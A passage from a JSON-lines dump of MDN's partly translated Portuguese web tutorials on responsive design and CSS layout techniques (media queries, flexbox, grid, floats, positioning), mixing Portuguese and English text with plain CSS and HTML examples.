sendo explorada por Gillenwater, e pode ser encontrada no artigo de Marcotte, Fluid Grids (publicado em 2009 em A List Apart).\n2. A segunda técnica foi a ideia de imagens fluidas. Usando uma técnica muito simples que setava a propriedade `max-width` com `100%`, as imagens seriam reduzidas se a coluna que as continha se tornasse mais estreita que o tamanho intrínseco da imagem, mas nunca aumentariam. Isso permitiu que uma imagem fosse reduzida em tamanho para caber em uma coluna de tamanho flexível, em vez de transbordar, mas não aumentava e nem tornava-se pixelizada se a coluna fosse mais larga que a imagem.\n3. O terceiro componente-chave foi a media query. Media Queries habilitavam o tipo de opção de layout usando o JavaScript, que Cameron Adams havia explorado anteriormente, usando apenas CSS. Em vez de ter um layout para todos os tamanhos de tela, o layout podia ser alterado. As barras laterais podiam ser reposicionadas para a tela menor ou uma navegação alternativa podia ser exibida.\n\nÉ importante entender que **o design responsivo não é uma tecnologia separada** — é um termo usado para descrever uma abordagem ao web design, ou um conjunto de melhores práticas, usado para criar um layout que possa *responder* ao dispositivo que está sendo usado para visualizar o conteúdo. Na exploração original de Marcotte, isso significava grades flexíveis (usando floats) e media queries, no entanto, nos últimos 10 anos, desde que o artigo foi escrito, trabalhar de forma responsiva se tornou um padrão. Os métodos de layout CSS modernos são inerentemente responsivos, e temos coisas novas incorporadas à plataforma web para facilitar o design de sites responsivos.\n\nO restante deste artigo indicará os vários recursos da plataforma web que você pode usar ao criar um site responsivo.\n\nMedia Queries\n-------------\n\nO Design Responsivo apenas foi capaz de emergir devido o recurse de media query. A especificação Media Queries Level 3 se tornou uma Recomendação de Candidato em 2009, significando que estava pronto para ser implementado nos browsers. Media Queries nos permitem executar uma série de testes (e.g. se a tela do usuário é maior que uma certa largura, ou uma certa resolução) e aplicar um CSS seletivamente para estilizar a página de acordo com as necessidades do usuário.\n\nPor exemplo, a seguinte media querie testa se a página atual está sendo exibida como mídia de tela (portanto, não é um documento impresso) e o viewport tem pelo menos 800 pixels de largura. O CSS para o seletor `.container` será aplicado apenas se essas duas condições forem verdade.\n\n\n```css\n@media screen and (min-width: 800px) {\n  .container {\n    margin: 1em 2em;\n  }\n}\n```\n\n\nVocê pode adicionar múltiplos media queries dentro de uma folha de estilo, ajustando inteiramente seu layout ou partes dele que melhor se adequem a vários tamanhos de tela. Os pontos em quem uma Media Query é introduzida e o layout alterado são conhecidos como *breakpoints*.\n\nUma abordagem comum ao utilizar Media Queries é criar um layout de única coluna para dispositivos de telas pequenas (e.g smartphones), então fazer a checagem para telas maiores e implementar um layout de múltiplas colunas quando houver largura suficiente. Esse design é frequentemente descrito como **mobile first**.\n\nEncontre mais detalhes na documentação MDN para Media Queries.\n\nGrids Flexíveis\n---------------\n\nSites responsivos não apenas mudam seu layout entre *breakpoints*, eles são construídos em grids flexíveis. Um grid flexível significa que não há necessidade de marcar todos os tamanhos possíveis existentes, e sim, construir um layout perfeito baseado em pixels que se adequa automaticamente à tela. Essa abordagem seria impossível dado o vasto número de dispositivos com tamanhos diferentes que existem e o fato de que, mesmo nos desktops, as pessoas nem sempre utilizam a janela do navegador maximizada.\n\nCom o uso de um grid flexível, não há necessidade de adicionar um *breakpoint* e alterar o desing no ponto onde o conteúdo começa a parecer ruim em determinada tela. Por exemplo, se o comprimento da linha se torna ilegível à medida que o tamanho da tela aumenta, ou uma caixa se fica espremida com duas palavras em cada linha, conforme o tamanho diminui.\n\nNos primórdios do design responsivo a única opção disponível para realizar layouts era utilizando floats (en-US). Layouts flexíveis flutuantes eram alcançados dando a cada elemento uma largura percentual, garantindo que em todo layout os totais não fossem maior que 100%. In his original piece on fluid grids, Marcotte detailed a formula for taking a layout designed using pixels and converting it into percentages.\n```\n\ntarget / context = result\n```\n\n\nFor example if our target column size is 60 pixels, and the context (or container) it is in is 960 pixels, we divide 60 by 960 to get a value we can use in our CSS, after moving the decimal point two places to the right.\n\n\n```css\n.col {\n  width: 6.25%; /\\* 60 / 960 = 0.0625 \\*/\n}\n```\n\n\nThis approach will be found in many places across the web today, and it is documented here in the layout section of our Legacy layout methods (en-US) article. It is likely that you will come across websites using this approach in your work, so it is worth understanding it, even though you would not build a modern site using a float-based flexible grid.\n\nThe following example demonstrates a simple responsive design using Media Queries and a flexible grid. On narrow screens the layout displays the boxes stacked on top of one another:\n\n![A mobile view of the layout with boxes stacked on top of each other vertically.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-mobile.png)\n\nOn wider screens they move to two columns:\n\n![A desktop view of a layout with two columns.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-desktop.png)\n\n**Nota:** You can find the live example and source code for this example on GitHub.\n\nModern layout technologies\n--------------------------\n\nModern layout methods such as Multiple-column layout, Flexbox, and Grid (en-US) are responsive by default. They all assume that you are trying to create a flexible grid and give you easier ways to do so.\n\n### Multicol\n\nThe oldest of these layout methods is multicol — when you specify a `column-count`, this indicates how many columns you want your content to be split into. The browser then works out the size of these, a size that will change according to the screen size.\n\n\n```css\n.container {\n  column-count: 3;\n}\n```\n\n\nIf you instead specify a `column-width`, you are specifying a *minimum* width. The browser will create as many columns of that width as will comfortably fit into the container, then share out the remaining space between all the columns. Therefore the number of columns will change according to how much space there is.\n\n\n```css\n.container {\n  column-width: 10em;\n}\n```\n\n### Flexbox\n\nIn Flexbox, flex items will shrink and distribute space between the items according to the space in their container, as their initial behavior. By changing the values for `flex-grow` and `flex-shrink` you can indicate how you want the items to behave when they encounter more or less space around them.\n\nIn the example below the flex items will each take an equal amount of space in the flex container, using the shorthand of `flex: 1` as described in the layout topic Flexbox: Flexible sizing of flex items.\n\n\n```css\n.container {\n  display: flex;\n}\n\n.item {\n  flex: 1;\n}\n```\n\n\n**Nota:** As an example we have rebuilt the simple responsive layout above, this time using flexbox. You can see how we no longer need to use strange percentage values to calculate the size of the columns: example, source code.\n\n### CSS grid\n\nIn CSS Grid Layout the `fr` unit allows the distribution of available space across grid tracks. The next example creates a grid container with three tracks sized at `1fr`. This will create three column tracks, each taking one part of the available space in the container. You can find out more about this approach to create a grid in the Learn Layout Grids topic, under Flexible grids with the fr unit (en-US).\n\n\n```css\n.container {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n}\n```\n\n\n**Nota:** The grid layout version is even simpler as we can define the columns on the .wrapper: example, source code.\n\nResponsive images\n-----------------\n\nThe simplest approach to responsive images was as described in Marcotte's early articles on responsive design. Basically, you would take an image that was at the largest size that might be needed, and scale it down. This is still an approach used today, and in most stylesheets you will find the following CSS somewhere:\n\n\n```css\nimg {\n  max-width: 100%:\n}\n```\n\n\nThere are obvious downsides to this approach. The image might be displayed a lot smaller than its intrinsic size, which is a waste of bandwidth — a mobile user may be downloading an image several times the size of what they actually see in the browser window. In addition, you may not want the same image aspect ratio on mobile as on desktop. For example, it might be nice to have a square image for mobile, but show the same scene as a landscape image on desktop. Or, acknowledging the smaller size of an image on mobile you might want to show a different image altogether, one which is more easily understood at a small screen size. These things can't be achieved by simply scaling down an image.\n\nResponsive Images, using the `<picture>` element and the `<img>` `srcset` and `sizes` attributes solve both of these problems. You can provide multiple sizes along with \"hints\" (meta data that describes the screen size and resolution the image is best suited for), and the browser will choose the most appropriate image for each device, ensuring that a user will download an image size appropriate for the device they are using.\n\nYou can also *art direct* images used at different sizes, thus providing a different crop or completely different image to different screen sizes.\n\nYou can find a detailed guide to Responsive Images in the Learn HTML section here on MDN.\n\nResponsive typography\n---------------------\n\nAn element of responsive design not covered in earlier work was the idea of responsive typography. Essentially, this describes changing font sizes within media queries to reflect lesser or greater amounts of screen real estate.\n\nIn this example, we want to set our level 1 heading to be `4rem`, meaning it will be four times our base font size. That's a really large heading! We only want this jumbo heading on larger screen sizes, therefore we first create a smaller heading then use media queries to overwrite it with the larger size if we know that the user has a screen size of at least 1200px.\n\n\n```css\nhtml {\n  font-size: 1em;\n}\n\nh1 {\n  font-size: 2rem;\n}\n\n@media (min-width: 1200px) {\n  h1 {\n    font-size: 4rem;\n  }\n}\n```\n\n\nWe have edited our responsive grid example above to also include responsive type using the method outlined. You can see how the heading switches sizes as the layout goes to the two column version.\n\nOn mobile the heading is smaller:\n\n![A stacked layout with a small heading size.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-font-mobile.png)\n\nOn desktop however we see the larger heading size:\n\n![A two column layout with a large heading.](/pt-BR/docs/Learn/CSS/CSS_layout/Responsive_Design/mdn-rwd-font-desktop.png)\n\n**Nota:** See this example in action: example, source code.\n\nAs this approach to typography shows, you do not need to restrict media queries to only changing the layout of the page. They can be used to tweak any element to make it more usable or attractive at alternate screen sizes.\n\n### Using viewport units for responsive typography\n\nAn interesting approach is to use the viewport unit `vw` to enable responsive typography. `1vw` is equal to one percent of the viewport width, meaning that if you set your font size using `vw`, it will always relate to the size of the viewport.\n\n\n```css\nh1 {\n  font-size: 6vw;\n}\n```\n\n\nThe problem with doing the above is that the user loses the ability to zoom any text set using the vw unit, as that text is always related to the size of the viewport. **Therefore you should never set text using viewport units alone**.\n\nThere is a solution, and it involves using `calc()`. If you add the `vw` unit to a value set using a fixed size such as `em`s or `rem`s then the text will still be zoomable. Essentially, the `vw` unit adds on top of that zoomed value:\n\n\n```css\nh1 {\n  font-size: calc(1.5rem + 3vw);\n}\n```\n\n\nThis means that we only need to specify the font size for the heading once, rather than set it up for mobile and redefine it in the media queries. The font then gradually increases as you increase the size of the viewport.\n\n**Nota:** See an example of this in action: example, source code.\n\nThe viewport meta tag\n---------------------\n\nIf you look at the HTML source of a responsive page, you will usually see the following `<meta>` tag in the `<head>` of the document.\n\n\n```html\n<meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\n```\n\n\nThis meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended.\n\nWhy is this needed? Because mobile browsers tend to lie about their viewport width.\n\nThis meta tag exists because when the original iPhone launched and people started to view websites on a small phone screen, most sites were not mobile optimized. The mobile browser would therefore set the viewport width to 960 pixels, render the page at that width, and show the result as a zoomed-out version of the desktop layout. Other mobile browsers (e.g. on Google Android) did the same thing. Users could zoom in and pan around the website to view the bits they were interested in, but it looked bad. You will still see this today if you have the misfortune to come across a site that does not have a responsive design.\n\nThe trouble is that your responsive design with breakpoints and media queries won't work as intended on mobile browsers. If you've got a narrow screen layout that kicks in at 480px viewport width or less, and the viewport is set at 960px, you'll never see your narrow screen layout on mobile. By setting `width=device-width` you are overriding Apple's default `width=960px` with the actual width of the device, so your media queries will work as intended.\n\n**So you should *always* include the above line of HTML in the head of your documents.**\n\nThere are other settings you can use with the viewport meta tag, however in general the above line is what you will want to use.\n\n* `initial-scale`: Sets the initial zoom of the page, which we set to 1.\n* `height`: Sets a specific height for the viewport.\n* `minimum-scale`: Sets the minimum zoom level.\n* `maximum-scale`: Sets the maximum zoom level.\n* `user-scalable`: Prevents zooming if set to `no`.\n\nYou should avoid using `minimum-scale`, `maximum-scale`, and in particular setting `user-scalable` to `no`. Users should be allowed to zoom as much or as little as they need to; preventing this causes accessibility problems.\n\nSummary\n-------\n\nResponsive design refers to a site or application design that responds to the environment in which it is viewed. It encompasses a number of CSS and HTML features and techniques, and is now essentially just how we build websites by default. Consider the sites that you visit on your phone — it is probably fairly unusual to come across a site that is the desktop version scaled down, or where you need to scroll sideways to find things. This is because the web has moved to this approach of designing responsively.\n\nIt has also become much easier to achieve responsive designs with the help of the layout methods you have learned in these lessons. If you are new to web development today you have many more tools at your disposal than in the early days of responsive design. It is therefore worth checking the age of any materials you are referencing. While the historical articles are still useful, modern use of CSS and HTML makes it far easier to create elegant and useful designs, no matter what device your visitor views the site with.\n\n* Anterior\n* Menu: CSS layout\n* Próxima  (en-US)"}
{"title":"Introdução ao leiaute com CSS - Aprendendo desenvolvimento web","text":"Introdução ao leiaute com CSS\n=============================\n\n* Menu: CSS layout\n* Próxima\n\nThis article will recap some of the CSS layout features we've already touched upon in previous modules — such as different `display` values — and introduce some of the concepts we'll be covering throughout this module.\n\n|  |  |\n| --- | --- |\n| Prerequisites: | \n The basics of HTML (study\n Introduction to HTML), and an idea of How CSS works (study\n Introduction to CSS (en-US).)\n  |\n| Objective: | \n To give you an overview of CSS page layout techniques. Each technique\n can be learned in greater detail in subsequent tutorials.\n  |\n\nCSS page layout techniques allow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main viewport/window. The page layout techniques we'll be covering in more detail in this module are\n\n* Normal flow\n* The `display` property\n* Flexbox\n* Grid\n* Floats\n* Positioning\n* Table layout\n* Multiple-column layout\n\nEach technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation. By understanding what each method is designed for you will be in a good place to understand which is the best layout tool for each task.\n\nNormal flow\n-----------\n\nNormal flow is how the browser lays out HTML pages by default when you do nothing to control page layout. Let's look at a quick HTML example:\n\n\n```html\n<p>I love my cat.</p>\n\n<ul>\n  <li>Buy cat food</li>\n  <li>Exercise</li>\n  <li>Cheer up friend</li>\n</ul>\n\n<p>The end!</p>\n```\n\n\nBy default, the browser will display this code as follows:\n\nNote here how the HTML is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragraph.\n\nThe elements that appear one below the other are described as *block* elements, in contrast to *inline* elements, which appear one beside the other, like the individual words in a paragraph.\n\n**Nota:** The direction in which block element contents are laid out is described as the Block Direction. The Block Direction runs vertically in a language such as English, which has a horizontal writing mode. It would run horizontally in any language with a Vertical Writing Mode, such as Japanese. The corresponding Inline Direction is the direction in which inline contents (such as a sentence) would run.\n\nWhen you use CSS to create a layout, you are moving the elements away from the normal flow, but for many of the elements on your page the normal flow will create exactly the layout you need. This is why starting with a well-structured HTML document is so important, as you can then work with the way things are laid out by default rather than fighting against it.\n\nThe methods that can change how elements are laid out in CSS are as follows:\n\n* **The `display` property** — Standard values such as `block`, `inline` or `inline-block` can change how elements behave in normal flow (see Types of CSS boxes (en-US) for more information). We then have entire layout methods that are switched on via a value of `display`, for example CSS Grid (en-US) and Flexbox.\n* **Floats** — Applying a `float` value such as `left` can cause block level elements to wrap alongside one side of an element, like the way images sometimes have text floating around them in magazine layouts.\n* **The `position` property** — Allows you to precisely control the placement of boxes inside other boxes. `static` positioning is the default in normal flow, but you can cause elements to be laid out differently using other values, for example always fixed to the top left of the browser viewport.\n* **Table layout** — features designed for styling the parts of an HTML table can be used on non-table elements using `display: table` and associated properties.\n* **Multi-column layout** — The Multi-column layout (en-US) properties can cause the content of a block to layout in columns, as you might see in a newspaper.\nThe display property\n--------------------\n\nThe main methods of achieving page layout in CSS are all values of the `display` property. This property allows us to change the default way something displays. Everything in normal flow has a value of `display`, used as the default way that elements they are set on behave. For example, the fact that paragraphs in English display one below the other is due to the fact that they are styled with `display: block`. If you create a link around some text inside a paragraph, that link remains inline with the rest of the text, and doesn't break onto a new line. This is because the `<a>` element is `display: inline` by default.\n\nYou can change this default display behavior. For example, the `<li>` element is `display: block` by default, meaning that list items display one below the other in our English document. If we change the display value to `inline` they now display next to each other, as words would do in a sentence. The fact that you can change the value of `display` for any element means that you can pick HTML elements for their semantic meaning, without being concerned about how they will look. The way they look is something that you can change.\n\nIn addition to being able to change the default presentation by turning an item from `block` to `inline` and vice versa, there are some bigger layout methods that start out as a value of `display`. However, when using these, you will generally need to invoke additional properties. The two values most important for our purposes when discussing layout are `display: flex` and `display: grid`.\n\nFlexbox\n-------\n\nFlexbox is the short name for the Flexible Box Layout Module, designed to make it easy for us to lay things out in one dimension — either as a row or as a column. To use flexbox, you apply `display: flex` to the parent element of the elements you want to lay out; all its direct children then become flex items. We can see this in a simple example.\n\nThe HTML markup below gives us a containing element, with a class of `wrapper`, inside which are three `<div>` elements. By default these would display as block elements, below one another, in our English language document.\n\nHowever, if we add `display: flex` to the parent, the three items now arrange themselves into columns. This is due to them becoming *flex items* and being affected by some initial values that flexbox sets on the flex container. They are displayed in a row, because the initial value of `flex-direction` set on their parent is `row`. They all appear to stretch to the height of the tallest item, because the initial value of the `align-items` property set on their parent is `stretch`. This means that the items stretch to the height of the flex container, which in this case is defined by the tallest item. The items all line up at the start of the container, leaving any extra space at the end of the row.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper > div {\n  border-radius: 5px;\n  background-color: rgb(207, 232, 220);\n  padding: 1em;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: flex;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n</div>\n```\n\n\nIn addition to the above properties that can be applied to the flex container, there are properties that can be applied to the flex items. These properties, among other things, can change the way that the items flex, enabling them to expand and contract to fit into the available space.\n\nAs a simple example of this, we can add the `flex` property to all of our child items, with a value of `1`. This will cause all of the items to grow and fill the container, rather than leaving space at the end. If there is more space then the items will become wider; if there is less space they will become narrower. In addition, if you add another element to the markup the items will all become smaller to make space for it — they will adjust size to take up the same amount of space, whatever that is.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper > div {\n  border-radius: 5px;\n  background-color: rgb(207, 232, 220);\n  padding: 1em;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: flex;\n}\n\n.wrapper > div {\n  flex: 1;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n</div>\n```\n\n\n**Nota:** This has been a very short introduction to what is possible in Flexbox, to find out more, see our Flexbox article.\n\nGrid Layout\n-----------\n\nWhile flexbox is designed for one-dimensional layout, Grid Layout is designed for two dimensions — lining things up in rows and columns.\n\nOnce again, you can switch on Grid Layout with a specific value of display — `display: grid`. The below example uses similar markup to the flex example, with a container and some child elements. In addition to using `display: grid`, we are also defining some row and column tracks on the parent using the `grid-template-rows` and `grid-template-columns` properties respectively. We've defined three columns each of `1fr` and two rows of `100px`. I don't need to put any rules on the child elements; they are automatically placed into the cells our grid has created.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper > div {\n  border-radius: 5px;\n  background-color: rgb(207, 232, 220);\n  padding: 1em;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n  grid-template-rows: 100px 100px;\n  grid-gap: 10px;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n  <div class=\"box4\">Four</div>\n  <div class=\"box5\">Five</div>\n  <div class=\"box6\">Six</div>\n</div>\n```\n\n\nOnce you have a grid, you can explicitly place your items on it, rather than relying on the auto-placement behavior seen above. In the second example below we have defined the same grid, but this time with three child items. We've set the start and end line of each item using the `grid-column` (en-US) and `grid-row` (en-US) properties. This causes the items to span multiple tracks.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper > div {\n  border-radius: 5px;\n  background-color: rgb(207, 232, 220);\n  padding: 1em;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n  grid-template-rows: 100px 100px;\n  grid-gap: 10px;\n}\n\n.box1 {\n  grid-column: 2 / 4;\n  grid-row: 1;\n}\n\n.box2 {\n  grid-column: 1;\n  grid-row: 1 / 3;\n}\n\n.box3 {\n  grid-row: 2;\n  grid-column: 3;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n</div>\n```\n\n\n**Nota:** These two examples are just a small part of the power of Grid layout; to find out more see our Grid Layout (en-US) article.\n\nThe rest of this guide covers other layout methods, which are less important for the main layout structures of your page but can still help you achieve specific tasks. By understanding the nature of each layout task, you will soon find that when you look at a particular component of your design the type of layout best suited to it will often be clear.\n\nFloats\n------\n\nFloating an element changes the behavior of that element and the block level elements that follow it in normal flow. The element is moved to the left or right and removed from normal flow, and the surrounding content floats around the floated item.\n\nThe `float` property has four possible values:\n\n* `left` — Floats the element to the left.\n* `right` — Floats the element to the right.\n* `none` — Specifies no floating at all. This is the default value.\n* `inherit` — Specifies that the value of the `float` property should be inherited from the element's parent element.\n\nIn the example below we float a `<div>` left, and give it a `margin` on the right to push the text away from the element. This gives us the effect of text wrapped around that box, and is most of what you need to know about floats as used in modern web design.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 0 auto;\n}\n\np {\n  line-height: 2;\n  word-spacing: 0.1rem;\n}\n\n.box {\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  border-radius: 5px;\n}\n```\n\n\n\n```html\n<h1>Simple float example</h1>\n\n<div class=\"box\">Float</div>\n\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam\n  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus\n  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus\n  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,\n  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus\n  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat\n  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros\n  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec\n  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.\n</p>\n```\n\n\n\n```css\n.box {\n  float: left;\n  width: 150px;\n  height: 150px;\n  margin-right: 30px;\n}\n```\n\n\n**Nota:** Floats are fully explained in our lesson on the float and clear (en-US) properties. Prior to techniques such as Flexbox and Grid Layout floats were used as a method of creating column layouts. You may still come across these methods on the web; we will cover these in the lesson on legacy layout methods (en-US).\n\nPositioning techniques\n----------------------\n\nPositioning allows you to move an element from where it would be placed when in normal flow to another location. Positioning isn't a method for creating your main page layouts, it is more about managing and fine-tuning the position of specific items on the page.\n\nThere are however useful techniques for certain layout patterns that rely on the `position` property. Understanding positioning also helps in understanding normal flow, and what it is to move an item out of normal flow.\n\nThere are five types of positioning you should know about:\n\n* **Static positioning** is the default that every element gets — it just means \"put the element into its normal position in the document layout flow — nothing special to see here\".\n* **Relative positioning** allows you to modify an element's position on the page, moving it relative to its position in normal flow — including making it overlap other elements on the page.\n* **Absolute positioning** moves an element completely out of the page's normal layout flow, like it is sitting on its own separate layer. From there, you can fix it in a position relative to the edges of the page's `<html>` element (or its nearest positioned ancestor element). This is useful for creating complex layout effects such as tabbed boxes where different content panels sit on top of one another and are shown and hidden as desired, or information panels that sit off screen by default, but can be made to slide on screen using a control button.\n* **Fixed positioning** is very similar to absolute positioning, except that it fixes an element relative to the browser viewport, not another element. This is useful for creating effects such as a persistent navigation menu that always stays in the same place on the screen as the rest of the content scrolls.\n* **Sticky positioning** is a newer positioning method which makes an element act like `position: static` until it hits a defined offset from the viewport, at which point it acts like `position: fixed`.\n### Simple positioning example\n\nTo provide familiarity with these page layout techniques, we'll show you a couple of quick examples. Our examples will all feature the same HTML, which is as follows:\n\n\n```html\n<h1>Positioning</h1>\n\n<p>I am a basic block level element.</p>\n<p class=\"positioned\">I am a basic block level element.</p>\n<p>I am a basic block level element.</p>\n```\n\n\nThis HTML will be styled by default using the following CSS:\n\n\n```css\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\np {\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 10px;\n  border-radius: 5px;\n}\n```\n\n\nThe rendered output is as follows:\n\n### Relative positioning\n\nRelative positioning allows you to offset an item from the position in normal flow it would have by default. This means you could achieve a task such as moving an icon down a bit so it lines up with a text label. To do this, we could add the following rule to add relative positioning:\n\n\n```css\n.positioned {\n  position: relative;\n  top: 30px;\n  left: 30px;\n}\n```\n\n\nHere we give our middle paragraph a `position` value of `relative` — this doesn't do anything on its own, so we also add `top` (en-US) and `left` (en-US) properties. These serve to move the affected element down and to the right — this might seem like the opposite of what you were expecting, but you need to think of it as the element being pushed on its left and top sides, which result in it moving right and down.\n\nAdding this code will give the following result:\n```\n\n<h1>Relative positioning</h1>\n\n<p>I am a basic block level element.</p>\n<p class=\"positioned\">This is my relatively positioned element.</p>\n<p>I am a basic block level element.</p>\n```\n\n\n```\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\np {\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 10px;\n  border-radius: 5px;\n}\n```\n\n\n\n```css\n.positioned {\n  position: relative;\n  background: rgba(255, 84, 104, 0.3);\n  border: 2px solid rgb(255, 84, 104);\n  top: 30px;\n  left: 30px;\n}\n```\n\n### Absolute positioning\n\nAbsolute positioning is used to completely remove an element from normal flow, and place it using offsets from the edges of a containing block.\n\nGoing back to our original non-positioned example, we could add the following CSS rule to implement absolute positioning:\n\n\n```css\n.positioned {\n  position: absolute;\n  top: 30px;\n  left: 30px;\n}\n```\n\n\nHere we give our middle paragraph a `position` value of `absolute`, and the same `top` (en-US) and `left` (en-US) properties as before. Adding this code, however, will give the following result:\n```\n\n<h1>Absolute positioning</h1>\n\n<p>I am a basic block level element.</p>\n<p class=\"positioned\">This is my absolutely positioned element.</p>\n<p>I am a basic block level element.</p>\n```\n\n\n```\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\np {\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 10px;\n  border-radius: 5px;\n}\n```\n\n\n\n```css\n.positioned {\n  position: absolute;\n  background: rgba(255, 84, 104, 0.3);\n  border: 2px solid rgb(255, 84, 104);\n  top: 30px;\n  left: 30px;\n}\n```\n\n\nThis is very different! The positioned element has now been completely separated from the rest of the page layout and sits over the top of it. The other two paragraphs now sit together as if their positioned sibling doesn't exist. The `top` (en-US) and `left` (en-US) properties have a different effect on absolutely positioned elements than they do on relatively positioned elements. In this case the offsets have been calculated from the top and left of the page. It is possible to change the parent element that becomes this container and we will take a look at that in the lesson on positioning (en-US).\n\n### Fixed positioning\n\nFixed positioning removes our element from document flow in the same way as absolute positioning. However, instead of the offsets being applied from the container, they are applied from the viewport. As the item remains fixed in relation to the viewport we can create effects such as a menu which remains fixed as the page scrolls beneath it.\n\nFor this example our HTML is three paragraphs of text, in order that we can cause the page to scroll, and a box to which we will give `position: fixed`.\n\n\n```html\n<h1>Fixed positioning</h1>\n\n<div class=\"positioned\">Fixed</div>\n\n<p>Paragraph 1.</p>\n<p>Paragraph 2.</p>\n<p>Paragraph 3.</p>\n```\n\n\n```\n<h1>Fixed positioning</h1>\n\n<div class=\"positioned\">Fixed</div>\n\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam\n  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus\n  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus\n  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,\n  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus\n  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat\n  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros\n  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec\n  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.\n</p>\n\n<p>\n  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus\n  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n  penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n</p>\n\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam\n  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus\n  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus\n  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,\n  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus\n  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat\n  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros\n  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec\n  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.\n</p>\n```\n\n\n```\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\n.positioned {\n  background: rgba(255, 84, 104, 0.3);\n  border: 2px solid rgb(255, 84, 104);\n  padding: 10px;\n  margin: 10px;\n  border-radius: 5px;\n}\n```\n\n\n\n```css\n.positioned {\n  position: fixed;\n  top: 30px;\n  left: 30px;\n}\n```\n\n### Sticky positioning\n\nSticky positioning is the final positioning method that we have at our disposal. It mixes the default static positioning with fixed positioning. When an item has `position: sticky` it will scroll in normal flow until it hits offsets from the viewport that we have defined. At that point it becomes \"stuck\" as if it had `position: fixed` applied.\n```\n\n<h1>Sticky positioning</h1>\n\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam\n  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus\n  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus\n  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,\n  tristique sit amet orci vel, viverra egestas 